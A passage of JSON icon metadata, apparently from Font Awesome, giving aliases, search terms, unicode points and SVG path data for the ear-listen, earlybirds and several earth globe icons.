        "path": "M502.6 54.6l-40 40c-12.5 12.5-32.8 12.5-45.3 0s-12.5-32.8 0-45.3l40-40c12.5-12.5 32.8-12.5 45.3 0s12.5 32.8 0 45.3zm-320 320l-128 128c-12.5 12.5-32.8 12.5-45.3 0s-12.5-32.8 0-45.3l128-128c12.5-12.5 32.8-12.5 45.3 0s12.5 32.8 0 45.3zM240 128c-57.6 0-105.1 43.6-111.3 99.5c-1.9 17.6-17.8 30.2-35.3 28.3s-30.2-17.8-28.3-35.3C74.8 132.5 149.4 64 240 64c97.2 0 176 78.8 176 176c0 46-17.7 87.9-46.6 119.3c-12 13-17.4 24.8-17.4 34.7V400c0 61.9-50.1 112-112 112c-17.7 0-32-14.3-32-32s14.3-32 32-32c26.5 0 48-21.5 48-48v-6.1c0-32.9 17.4-59.6 34.4-78c18.4-20 29.6-46.6 29.6-75.9c0-61.9-50.1-112-112-112zm0 80c-17.7 0-32 14.3-32 32c0 13.3-10.7 24-24 24s-24-10.7-24-24c0-44.2 35.8-80 80-80s80 35.8 80 80c0 13.3-10.7 24-24 24s-24-10.7-24-24c0-17.7-14.3-32-32-32z"
      }
    },
    "free": ["solid"]
  },
  "ear-listen": {
    "aliases": {
      "names": ["assistive-listening-systems"],
      "unicodes": {
        "secondary": ["10f2a2"]
      }
    },
    "changes": ["4.6.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "amplify",
        "audio",
        "deaf",
        "ear",
        "headset",
        "hearing",
        "sound"
      ]
    },
    "styles": ["solid"],
    "unicode": "f2a2",
    "label": "Ear Listen",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766750,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M398.3 3.4c-15.8-7.9-35-1.5-42.9 14.3c-7.9 15.8-1.5 34.9 14.2 42.9l.4 .2c.4 .2 1.1 .6 2.1 1.2c2 1.2 5 3 8.7 5.6c7.5 5.2 17.6 13.2 27.7 24.2C428.5 113.4 448 146 448 192c0 17.7 14.3 32 32 32s32-14.3 32-32c0-66-28.5-113.4-56.5-143.7C441.6 33.2 427.7 22.2 417.3 15c-5.3-3.7-9.7-6.4-13-8.3c-1.6-1-3-1.7-4-2.2c-.5-.3-.9-.5-1.2-.7l-.4-.2-.2-.1-.1 0 0 0c0 0 0 0-14.3 28.6L398.3 3.4zM128.7 227.5c6.2-56 53.7-99.5 111.3-99.5c61.9 0 112 50.1 112 112c0 29.3-11.2 55.9-29.6 75.9c-17 18.4-34.4 45.1-34.4 78V400c0 26.5-21.5 48-48 48c-17.7 0-32 14.3-32 32s14.3 32 32 32c61.9 0 112-50.1 112-112v-6.1c0-9.8 5.4-21.7 17.4-34.7C398.3 327.9 416 286 416 240c0-97.2-78.8-176-176-176C149.4 64 74.8 132.5 65.1 220.5c-1.9 17.6 10.7 33.4 28.3 35.3s33.4-10.7 35.3-28.3zM32 512a32 32 0 1 0 0-64 32 32 0 1 0 0 64zM192 352a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zM41.4 361.4c-12.5 12.5-12.5 32.8 0 45.3l64 64c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3l-64-64c-12.5-12.5-32.8-12.5-45.3 0zM208 240c0-17.7 14.3-32 32-32s32 14.3 32 32c0 13.3 10.7 24 24 24s24-10.7 24-24c0-44.2-35.8-80-80-80s-80 35.8-80 80c0 13.3 10.7 24 24 24s24-10.7 24-24z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M398.3 3.4c-15.8-7.9-35-1.5-42.9 14.3c-7.9 15.8-1.5 34.9 14.2 42.9l.4 .2c.4 .2 1.1 .6 2.1 1.2c2 1.2 5 3 8.7 5.6c7.5 5.2 17.6 13.2 27.7 24.2C428.5 113.4 448 146 448 192c0 17.7 14.3 32 32 32s32-14.3 32-32c0-66-28.5-113.4-56.5-143.7C441.6 33.2 427.7 22.2 417.3 15c-5.3-3.7-9.7-6.4-13-8.3c-1.6-1-3-1.7-4-2.2c-.5-.3-.9-.5-1.2-.7l-.4-.2-.2-.1-.1 0 0 0c0 0 0 0-14.3 28.6L398.3 3.4zM128.7 227.5c6.2-56 53.7-99.5 111.3-99.5c61.9 0 112 50.1 112 112c0 29.3-11.2 55.9-29.6 75.9c-17 18.4-34.4 45.1-34.4 78V400c0 26.5-21.5 48-48 48c-17.7 0-32 14.3-32 32s14.3 32 32 32c61.9 0 112-50.1 112-112v-6.1c0-9.8 5.4-21.7 17.4-34.7C398.3 327.9 416 286 416 240c0-97.2-78.8-176-176-176C149.4 64 74.8 132.5 65.1 220.5c-1.9 17.6 10.7 33.4 28.3 35.3s33.4-10.7 35.3-28.3zM32 512a32 32 0 1 0 0-64 32 32 0 1 0 0 64zM192 352a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zM41.4 361.4c-12.5 12.5-12.5 32.8 0 45.3l64 64c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3l-64-64c-12.5-12.5-32.8-12.5-45.3 0zM208 240c0-17.7 14.3-32 32-32s32 14.3 32 32c0 13.3 10.7 24 24 24s24-10.7 24-24c0-44.2-35.8-80-80-80s-80 35.8-80 80c0 13.3 10.7 24 24 24s24-10.7 24-24z"
      }
    },
    "free": ["solid"]
  },
  "earlybirds": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f39a",
    "label": "Earlybirds",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014465,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 480 512\"><path d=\"M313.2 47.5c1.2-13 21.3-14 36.6-8.7.9.3 26.2 9.7 19 15.2-27.9-7.4-56.4 18.2-55.6-6.5zm-201 6.9c30.7-8.1 62 20 61.1-7.1-1.3-14.2-23.4-15.3-40.2-9.6-1 .3-28.7 10.5-20.9 16.7zM319.4 160c-8.8 0-16 7.2-16 16s7.2 16 16 16 16-7.2 16-16-7.2-16-16-16zm-159.7 0c-8.8 0-16 7.2-16 16s7.2 16 16 16 16-7.2 16-16-7.2-16-16-16zm318.5 163.2c-9.9 24-40.7 11-63.9-1.2-13.5 69.1-58.1 111.4-126.3 124.2.3.9-2-.1 24 1 33.6 1.4 63.8-3.1 97.4-8-19.8-13.8-11.4-37.1-9.8-38.1 1.4-.9 14.7 1.7 21.6 11.5 8.6-12.5 28.4-14.8 30.2-13.6 1.6 1.1 6.6 20.9-6.9 34.6 4.7-.9 8.2-1.6 9.8-2.1 2.6-.8 17.7 11.3 3.1 13.3-14.3 2.3-22.6 5.1-47.1 10.8-45.9 10.7-85.9 11.8-117.7 12.8l1 11.6c3.8 18.1-23.4 24.3-27.6 6.2.8 17.9-27.1 21.8-28.4-1l-.5 5.3c-.7 18.4-28.4 17.9-28.3-.6-7.5 13.5-28.1 6.8-26.4-8.5l1.2-12.4c-36.7.9-59.7 3.1-61.8 3.1-20.9 0-20.9-31.6 0-31.6 2.4 0 27.7 1.3 63.2 2.8-61.1-15.5-103.7-55-114.9-118.2-25 12.8-57.5 26.8-68.2.8-10.5-25.4 21.5-42.6 66.8-73.4.7-6.6 1.6-13.3 2.7-19.8-14.4-19.6-11.6-36.3-16.1-60.4-16.8 2.4-23.2-9.1-23.6-23.1.3-7.3 2.1-14.9 2.4-15.4 1.1-1.8 10.1-2 12.7-2.6 6-31.7 50.6-33.2 90.9-34.5 19.7-21.8 45.2-41.5 80.9-48.3C203.3 29 215.2 8.5 216.2 8c1.7-.8 21.2 4.3 26.3 23.2 5.2-8.8 18.3-11.4 19.6-10.7 1.1.6 6.4 15-4.9 25.9 40.3 3.5 72.2 24.7 96 50.7 36.1 1.5 71.8 5.9 77.1 34 2.7.6 11.6.8 12.7 2.6.3.5 2.1 8.1 2.4 15.4-.5 13.9-6.8 25.4-23.6 23.1-3.2 17.3-2.7 32.9-8.7 47.7 2.4 11.7 4 23.8 4.8 36.4 37 25.4 70.3 42.5 60.3 66.9zM207.4 159.9c.9-44-37.9-42.2-78.6-40.3-21.7 1-38.9 1.9-45.5 13.9-11.4 20.9 5.9 92.9 23.2 101.2 9.8 4.7 73.4 7.9 86.3-7.1 8.2-9.4 15-49.4 14.6-67.7zm52 58.3c-4.3-12.4-6-30.1-15.3-32.7-2-.5-9-.5-11 0-10 2.8-10.8 22.1-17 37.2 15.4 0 19.3 9.7 23.7 9.7 4.3 0 6.3-11.3 19.6-14.2zm135.7-84.7c-6.6-12.1-24.8-12.9-46.5-13.9-40.2-1.9-78.2-3.8-77.3 40.3-.5 18.3 5 58.3 13.2 67.8 13 14.9 76.6 11.8 86.3 7.1 15.8-7.6 36.5-78.9 24.3-101.3z\"/></svg>",
        "viewBox": [0, 0, 480, 512],
        "width": 480,
        "height": 512,
        "path": "M313.2 47.5c1.2-13 21.3-14 36.6-8.7.9.3 26.2 9.7 19 15.2-27.9-7.4-56.4 18.2-55.6-6.5zm-201 6.9c30.7-8.1 62 20 61.1-7.1-1.3-14.2-23.4-15.3-40.2-9.6-1 .3-28.7 10.5-20.9 16.7zM319.4 160c-8.8 0-16 7.2-16 16s7.2 16 16 16 16-7.2 16-16-7.2-16-16-16zm-159.7 0c-8.8 0-16 7.2-16 16s7.2 16 16 16 16-7.2 16-16-7.2-16-16-16zm318.5 163.2c-9.9 24-40.7 11-63.9-1.2-13.5 69.1-58.1 111.4-126.3 124.2.3.9-2-.1 24 1 33.6 1.4 63.8-3.1 97.4-8-19.8-13.8-11.4-37.1-9.8-38.1 1.4-.9 14.7 1.7 21.6 11.5 8.6-12.5 28.4-14.8 30.2-13.6 1.6 1.1 6.6 20.9-6.9 34.6 4.7-.9 8.2-1.6 9.8-2.1 2.6-.8 17.7 11.3 3.1 13.3-14.3 2.3-22.6 5.1-47.1 10.8-45.9 10.7-85.9 11.8-117.7 12.8l1 11.6c3.8 18.1-23.4 24.3-27.6 6.2.8 17.9-27.1 21.8-28.4-1l-.5 5.3c-.7 18.4-28.4 17.9-28.3-.6-7.5 13.5-28.1 6.8-26.4-8.5l1.2-12.4c-36.7.9-59.7 3.1-61.8 3.1-20.9 0-20.9-31.6 0-31.6 2.4 0 27.7 1.3 63.2 2.8-61.1-15.5-103.7-55-114.9-118.2-25 12.8-57.5 26.8-68.2.8-10.5-25.4 21.5-42.6 66.8-73.4.7-6.6 1.6-13.3 2.7-19.8-14.4-19.6-11.6-36.3-16.1-60.4-16.8 2.4-23.2-9.1-23.6-23.1.3-7.3 2.1-14.9 2.4-15.4 1.1-1.8 10.1-2 12.7-2.6 6-31.7 50.6-33.2 90.9-34.5 19.7-21.8 45.2-41.5 80.9-48.3C203.3 29 215.2 8.5 216.2 8c1.7-.8 21.2 4.3 26.3 23.2 5.2-8.8 18.3-11.4 19.6-10.7 1.1.6 6.4 15-4.9 25.9 40.3 3.5 72.2 24.7 96 50.7 36.1 1.5 71.8 5.9 77.1 34 2.7.6 11.6.8 12.7 2.6.3.5 2.1 8.1 2.4 15.4-.5 13.9-6.8 25.4-23.6 23.1-3.2 17.3-2.7 32.9-8.7 47.7 2.4 11.7 4 23.8 4.8 36.4 37 25.4 70.3 42.5 60.3 66.9zM207.4 159.9c.9-44-37.9-42.2-78.6-40.3-21.7 1-38.9 1.9-45.5 13.9-11.4 20.9 5.9 92.9 23.2 101.2 9.8 4.7 73.4 7.9 86.3-7.1 8.2-9.4 15-49.4 14.6-67.7zm52 58.3c-4.3-12.4-6-30.1-15.3-32.7-2-.5-9-.5-11 0-10 2.8-10.8 22.1-17 37.2 15.4 0 19.3 9.7 23.7 9.7 4.3 0 6.3-11.3 19.6-14.2zm135.7-84.7c-6.6-12.1-24.8-12.9-46.5-13.9-40.2-1.9-78.2-3.8-77.3 40.3-.5 18.3 5 58.3 13.2 67.8 13 14.9 76.6 11.8 86.3 7.1 15.8-7.6 36.5-78.9 24.3-101.3z"
      }
    },
    "free": ["brands"]
  },
  "earth-africa": {
    "aliases": {
      "names": ["globe-africa"],
      "unicodes": {
        "composite": ["1f30d"],
        "secondary": ["10f57c"]
      }
    },
    "changes": [
      "5.1.0",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "africa",
        "all",
        "country",
        "earth",
        "europe",
        "global",
        "globe",
        "gps",
        "language",
        "localize",
        "location",
        "map",
        "online",
        "place",
        "planet",
        "translate",
        "travel",
        "world"
      ]
    },
    "styles": ["solid"],
    "unicode": "f57c",
    "label": "Earth Africa",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767489,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M177.8 63.2l10 17.4c2.8 4.8 4.2 10.3 4.2 15.9v41.4c0 3.9 1.6 7.7 4.3 10.4c6.2 6.2 16.5 5.7 22-1.2l13.6-17c4.7-5.9 12.9-7.7 19.6-4.3l15.2 7.6c3.4 1.7 7.2 2.6 11 2.6c6.5 0 12.8-2.6 17.4-7.2l3.9-3.9c2.9-2.9 7.3-3.6 11-1.8l29.2 14.6c7.8 3.9 12.6 11.8 12.6 20.5c0 10.5-7.1 19.6-17.3 22.2l-35.4 8.8c-7.4 1.8-15.1 1.5-22.4-.9l-32-10.7c-3.3-1.1-6.7-1.7-10.2-1.7c-7 0-13.8 2.3-19.4 6.5L176 212c-10.1 7.6-16 19.4-16 32v28c0 26.5 21.5 48 48 48h32c8.8 0 16 7.2 16 16v48c0 17.7 14.3 32 32 32c10.1 0 19.6-4.7 25.6-12.8l25.6-34.1c8.3-11.1 12.8-24.6 12.8-38.4V318.6c0-3.9 2.6-7.3 6.4-8.2l5.3-1.3c11.9-3 20.3-13.7 20.3-26c0-7.1-2.8-13.9-7.8-18.9l-33.5-33.5c-3.7-3.7-3.7-9.7 0-13.4c5.7-5.7 14.1-7.7 21.8-5.1l14.1 4.7c12.3 4.1 25.7-1.5 31.5-13c3.5-7 11.2-10.8 18.9-9.2l27.4 5.5C432 112.4 351.5 48 256 48c-27.7 0-54 5.4-78.2 15.2zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M177.8 63.2l10 17.4c2.8 4.8 4.2 10.3 4.2 15.9v41.4c0 3.9 1.6 7.7 4.3 10.4c6.2 6.2 16.5 5.7 22-1.2l13.6-17c4.7-5.9 12.9-7.7 19.6-4.3l15.2 7.6c3.4 1.7 7.2 2.6 11 2.6c6.5 0 12.8-2.6 17.4-7.2l3.9-3.9c2.9-2.9 7.3-3.6 11-1.8l29.2 14.6c7.8 3.9 12.6 11.8 12.6 20.5c0 10.5-7.1 19.6-17.3 22.2l-35.4 8.8c-7.4 1.8-15.1 1.5-22.4-.9l-32-10.7c-3.3-1.1-6.7-1.7-10.2-1.7c-7 0-13.8 2.3-19.4 6.5L176 212c-10.1 7.6-16 19.4-16 32v28c0 26.5 21.5 48 48 48h32c8.8 0 16 7.2 16 16v48c0 17.7 14.3 32 32 32c10.1 0 19.6-4.7 25.6-12.8l25.6-34.1c8.3-11.1 12.8-24.6 12.8-38.4V318.6c0-3.9 2.6-7.3 6.4-8.2l5.3-1.3c11.9-3 20.3-13.7 20.3-26c0-7.1-2.8-13.9-7.8-18.9l-33.5-33.5c-3.7-3.7-3.7-9.7 0-13.4c5.7-5.7 14.1-7.7 21.8-5.1l14.1 4.7c12.3 4.1 25.7-1.5 31.5-13c3.5-7 11.2-10.8 18.9-9.2l27.4 5.5C432 112.4 351.5 48 256 48c-27.7 0-54 5.4-78.2 15.2zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256z"
      }
    },
    "free": ["solid"]
  },
  "earth-americas": {
    "aliases": {
      "names": ["earth", "earth-america", "globe-americas"],
      "unicodes": {
        "composite": ["1f30e"],
        "secondary": ["10f57d"]
      }
    },
    "changes": [
      "5.1.0",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "all",
        "america",
        "country",
        "earth",
        "global",
        "globe",
        "gps",
        "language",
        "localize",
        "location",
        "map",
        "online",
        "place",
        "planet",
        "translate",
        "travel",
        "world"
      ]
    },
    "styles": ["solid"],
    "unicode": "f57d",
    "label": "Earth Americas",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767488,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M57.7 193l9.4 16.4c8.3 14.5 21.9 25.2 38 29.8L163 255.7c17.2 4.9 29 20.6 29 38.5v39.9c0 11 6.2 21 16 25.9s16 14.9 16 25.9v39c0 15.6 14.9 26.9 29.9 22.6c16.1-4.6 28.6-17.5 32.7-33.8l2.8-11.2c4.2-16.9 15.2-31.4 30.3-40l8.1-4.6c15-8.5 24.2-24.5 24.2-41.7v-8.3c0-12.7-5.1-24.9-14.1-33.9l-3.9-3.9c-9-9-21.2-14.1-33.9-14.1H257c-11.1 0-22.1-2.9-31.8-8.4l-34.5-19.7c-4.3-2.5-7.6-6.5-9.2-11.2c-3.2-9.6 1.1-20 10.2-24.5l5.9-3c6.6-3.3 14.3-3.9 21.3-1.5l23.2 7.7c8.2 2.7 17.2-.4 21.9-7.5c4.7-7 4.2-16.3-1.2-22.8l-13.6-16.3c-10-12-9.9-29.5 .3-41.3l15.7-18.3c8.8-10.3 10.2-25 3.5-36.7l-2.4-4.2c-3.5-.2-6.9-.3-10.4-.3C163.1 48 84.4 108.9 57.7 193zM464 256c0-36.8-9.6-71.4-26.4-101.5L412 164.8c-15.7 6.3-23.8 23.8-18.5 39.8l16.9 50.7c3.5 10.4 12 18.3 22.6 20.9l29.1 7.3c1.2-9 1.8-18.2 1.8-27.5zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M57.7 193l9.4 16.4c8.3 14.5 21.9 25.2 38 29.8L163 255.7c17.2 4.9 29 20.6 29 38.5v39.9c0 11 6.2 21 16 25.9s16 14.9 16 25.9v39c0 15.6 14.9 26.9 29.9 22.6c16.1-4.6 28.6-17.5 32.7-33.8l2.8-11.2c4.2-16.9 15.2-31.4 30.3-40l8.1-4.6c15-8.5 24.2-24.5 24.2-41.7v-8.3c0-12.7-5.1-24.9-14.1-33.9l-3.9-3.9c-9-9-21.2-14.1-33.9-14.1H257c-11.1 0-22.1-2.9-31.8-8.4l-34.5-19.7c-4.3-2.5-7.6-6.5-9.2-11.2c-3.2-9.6 1.1-20 10.2-24.5l5.9-3c6.6-3.3 14.3-3.9 21.3-1.5l23.2 7.7c8.2 2.7 17.2-.4 21.9-7.5c4.7-7 4.2-16.3-1.2-22.8l-13.6-16.3c-10-12-9.9-29.5 .3-41.3l15.7-18.3c8.8-10.3 10.2-25 3.5-36.7l-2.4-4.2c-3.5-.2-6.9-.3-10.4-.3C163.1 48 84.4 108.9 57.7 193zM464 256c0-36.8-9.6-71.4-26.4-101.5L412 164.8c-15.7 6.3-23.8 23.8-18.5 39.8l16.9 50.7c3.5 10.4 12 18.3 22.6 20.9l29.1 7.3c1.2-9 1.8-18.2 1.8-27.5zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256z"
      }
    },
    "free": ["solid"]
  },
  "earth-asia": {
    "aliases": {
      "names": ["globe-asia"],
      "unicodes": {
        "composite": ["1f30f"],
        "secondary": ["10f57e"]
      }
    },
    "changes": [
      "5.1.0",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "all",
        "asia",
        "australia",
        "country",
        "earth",
        "global",
        "globe",
        "gps",
        "language",
        "localize",
        "location",
        "map",
        "online",
        "place",
        "planet",
        "translate",
        "travel",
        "world"
      ]
    },
    "styles": ["solid"],
    "unicode": "f57e",
    "label": "Earth Asia",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767488,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M51.7 295.1l31.7 6.3c7.9 1.6 16-.9 21.7-6.6l15.4-15.4c11.6-11.6 31.1-8.4 38.4 6.2l9.3 18.5c4.8 9.6 14.6 15.7 25.4 15.7c15.2 0 26.1-14.6 21.7-29.2l-6-19.9c-4.6-15.4 6.9-30.9 23-30.9h2.3c13.4 0 25.9-6.7 33.3-17.8l10.7-16.1c5.6-8.5 5.3-19.6-.8-27.7l-16.1-21.5c-10.3-13.7-3.3-33.5 13.4-37.7l17-4.3c7.5-1.9 13.6-7.2 16.5-14.4l16.4-40.9C303.4 52.1 280.2 48 256 48C141.1 48 48 141.1 48 256c0 13.4 1.3 26.5 3.7 39.1zm407.7 4.6c-3-.3-6-.1-9 .8l-15.8 4.4c-6.7 1.9-13.8-.9-17.5-6.7l-2-3.1c-6-9.4-16.4-15.1-27.6-15.1s-21.6 5.7-27.6 15.1l-6.1 9.5c-1.4 2.2-3.4 4.1-5.7 5.3L312 330.1c-18.1 10.1-25.5 32.4-17 51.3l5.5 12.4c8.6 19.2 30.7 28.5 50.5 21.1l2.6-1c10-3.7 21.3-2.2 29.9 4.1l1.5 1.1c37.2-29.5 64.1-71.4 74.4-119.5zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm144.5 92.1c-2.1 8.6 3.1 17.3 11.6 19.4l32 8c8.6 2.1 17.3-3.1 19.4-11.6s-3.1-17.3-11.6-19.4l-32-8c-8.6-2.1-17.3 3.1-19.4 11.6zm92-20c-2.1 8.6 3.1 17.3 11.6 19.4s17.3-3.1 19.4-11.6l8-32c2.1-8.6-3.1-17.3-11.6-19.4s-17.3 3.1-19.4 11.6l-8 32zM343.2 113.7c-7.9-4-17.5-.7-21.5 7.2l-16 32c-4 7.9-.7 17.5 7.2 21.5s17.5 .7 21.5-7.2l16-32c4-7.9 .7-17.5-7.2-21.5z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M51.7 295.1l31.7 6.3c7.9 1.6 16-.9 21.7-6.6l15.4-15.4c11.6-11.6 31.1-8.4 38.4 6.2l9.3 18.5c4.8 9.6 14.6 15.7 25.4 15.7c15.2 0 26.1-14.6 21.7-29.2l-6-19.9c-4.6-15.4 6.9-30.9 23-30.9h2.3c13.4 0 25.9-6.7 33.3-17.8l10.7-16.1c5.6-8.5 5.3-19.6-.8-27.7l-16.1-21.5c-10.3-13.7-3.3-33.5 13.4-37.7l17-4.3c7.5-1.9 13.6-7.2 16.5-14.4l16.4-40.9C303.4 52.1 280.2 48 256 48C141.1 48 48 141.1 48 256c0 13.4 1.3 26.5 3.7 39.1zm407.7 4.6c-3-.3-6-.1-9 .8l-15.8 4.4c-6.7 1.9-13.8-.9-17.5-6.7l-2-3.1c-6-9.4-16.4-15.1-27.6-15.1s-21.6 5.7-27.6 15.1l-6.1 9.5c-1.4 2.2-3.4 4.1-5.7 5.3L312 330.1c-18.1 10.1-25.5 32.4-17 51.3l5.5 12.4c8.6 19.2 30.7 28.5 50.5 21.1l2.6-1c10-3.7 21.3-2.2 29.9 4.1l1.5 1.1c37.2-29.5 64.1-71.4 74.4-119.5zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm144.5 92.1c-2.1 8.6 3.1 17.3 11.6 19.4l32 8c8.6 2.1 17.3-3.1 19.4-11.6s-3.1-17.3-11.6-19.4l-32-8c-8.6-2.1-17.3 3.1-19.4 11.6zm92-20c-2.1 8.6 3.1 17.3 11.6 19.4s17.3-3.1 19.4-11.6l8-32c2.1-8.6-3.1-17.3-11.6-19.4s-17.3 3.1-19.4 11.6l-8 32zM343.2 113.7c-7.9-4-17.5-.7-21.5 7.2l-16 32c-4 7.9-.7 17.5 7.2 21.5s17.5 .7 21.5-7.2l16-32c4-7.9 .7-17.5-7.2-21.5z"
      }
    },
    "free": ["solid"]
  },
  "earth-europe": {
    "aliases": {
      "names": ["globe-europe"],
      "unicodes": {
        "secondary": ["10f7a2"]
      }
    },
    "changes": [
      "5.6.0",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "all",
        "country",
        "earth",
        "europe",
        "global",
        "globe",
        "gps",
        "language",
        "localize",
        "location",
        "map",
        "online",
        "place",
        "planet",
        "translate",
        "travel",
        "world"
      ]
    },
    "styles": ["solid"],
    "unicode": "f7a2",
    "label": "Earth Europe",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767488,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M266.3 48.3L232.5 73.6c-5.4 4-8.5 10.4-8.5 17.1v9.1c0 6.8 5.5 12.3 12.3 12.3c2.4 0 4.8-.7 6.8-2.1l41.8-27.9c2-1.3 4.4-2.1 6.8-2.1h1c6.2 0 11.3 5.1 11.3 11.3c0 3-1.2 5.9-3.3 8l-19.9 19.9c-5.8 5.8-12.9 10.2-20.7 12.8l-26.5 8.8c-5.8 1.9-9.6 7.3-9.6 13.4c0 3.7-1.5 7.3-4.1 10l-17.9 17.9c-6.4 6.4-9.9 15-9.9 24v4.3c0 16.4 13.6 29.7 29.9 29.7c11 0 21.2-6.2 26.1-16l4-8.1c2.4-4.8 7.4-7.9 12.8-7.9c4.5 0 8.7 2.1 11.4 5.7l16.3 21.7c2.1 2.9 5.5 4.5 9.1 4.5c8.4 0 13.9-8.9 10.1-16.4l-1.1-2.3c-3.5-7 0-15.5 7.5-18l21.2-7.1c7.6-2.5 12.7-9.6 12.7-17.6c0-10.3 8.3-18.6 18.6-18.6H400c8.8 0 16 7.2 16 16s-7.2 16-16 16H379.3c-7.2 0-14.2 2.9-19.3 8l-4.7 4.7c-2.1 2.1-3.3 5-3.3 8c0 6.2 5.1 11.3 11.3 11.3h11.3c6 0 11.8 2.4 16 6.6l6.5 6.5c1.8 1.8 2.8 4.3 2.8 6.8s-1 5-2.8 6.8l-7.5 7.5C386 262 384 266.9 384 272s2 10 5.7 13.7L408 304c10.2 10.2 24.1 16 38.6 16H454c6.5-20.2 10-41.7 10-64c0-111.4-87.6-202.4-197.7-207.7zm172 307.9c-3.7-2.6-8.2-4.1-13-4.1c-6 0-11.8-2.4-16-6.6L396 332c-7.7-7.7-18-12-28.9-12c-9.7 0-19.2-3.5-26.6-9.8L314 287.4c-11.6-9.9-26.4-15.4-41.7-15.4H251.4c-12.6 0-25 3.7-35.5 10.7L188.5 301c-17.8 11.9-28.5 31.9-28.5 53.3v3.2c0 17 6.7 33.3 18.7 45.3l16 16c8.5 8.5 20 13.3 32 13.3H248c13.3 0 24 10.7 24 24c0 2.5 .4 5 1.1 7.3c71.3-5.8 132.5-47.6 165.2-107.2zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zM187.3 100.7c-6.2-6.2-16.4-6.2-22.6 0l-32 32c-6.2 6.2-6.2 16.4 0 22.6s16.4 6.2 22.6 0l32-32c6.2-6.2 6.2-16.4 0-22.6z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M266.3 48.3L232.5 73.6c-5.4 4-8.5 10.4-8.5 17.1v9.1c0 6.8 5.5 12.3 12.3 12.3c2.4 0 4.8-.7 6.8-2.1l41.8-27.9c2-1.3 4.4-2.1 6.8-2.1h1c6.2 0 11.3 5.1 11.3 11.3c0 3-1.2 5.9-3.3 8l-19.9 19.9c-5.8 5.8-12.9 10.2-20.7 12.8l-26.5 8.8c-5.8 1.9-9.6 7.3-9.6 13.4c0 3.7-1.5 7.3-4.1 10l-17.9 17.9c-6.4 6.4-9.9 15-9.9 24v4.3c0 16.4 13.6 29.7 29.9 29.7c11 0 21.2-6.2 26.1-16l4-8.1c2.4-4.8 7.4-7.9 12.8-7.9c4.5 0 8.7 2.1 11.4 5.7l16.3 21.7c2.1 2.9 5.5 4.5 9.1 4.5c8.4 0 13.9-8.9 10.1-16.4l-1.1-2.3c-3.5-7 0-15.5 7.5-18l21.2-7.1c7.6-2.5 12.7-9.6 12.7-17.6c0-10.3 8.3-18.6 18.6-18.6H400c8.8 0 16 7.2 16 16s-7.2 16-16 16H379.3c-7.2 0-14.2 2.9-19.3 8l-4.7 4.7c-2.1 2.1-3.3 5-3.3 8c0 6.2 5.1 11.3 11.3 11.3h11.3c6 0 11.8 2.4 16 6.6l6.5 6.5c1.8 1.8 2.8 4.3 2.8 6.8s-1 5-2.8 6.8l-7.5 7.5C386 262 384 266.9 384 272s2 10 5.7 13.7L408 304c10.2 10.2 24.1 16 38.6 16H454c6.5-20.2 10-41.7 10-64c0-111.4-87.6-202.4-197.7-207.7zm172 307.9c-3.7-2.6-8.2-4.1-13-4.1c-6 0-11.8-2.4-16-6.6L396 332c-7.7-7.7-18-12-28.9-12c-9.7 0-19.2-3.5-26.6-9.8L314 287.4c-11.6-9.9-26.4-15.4-41.7-15.4H251.4c-12.6 0-25 3.7-35.5 10.7L188.5 301c-17.8 11.9-28.5 31.9-28.5 53.3v3.2c0 17 6.7 33.3 18.7 45.3l16 16c8.5 8.5 20 13.3 32 13.3H248c13.3 0 24 10.7 24 24c0 2.5 .4 5 1.1 7.3c71.3-5.8 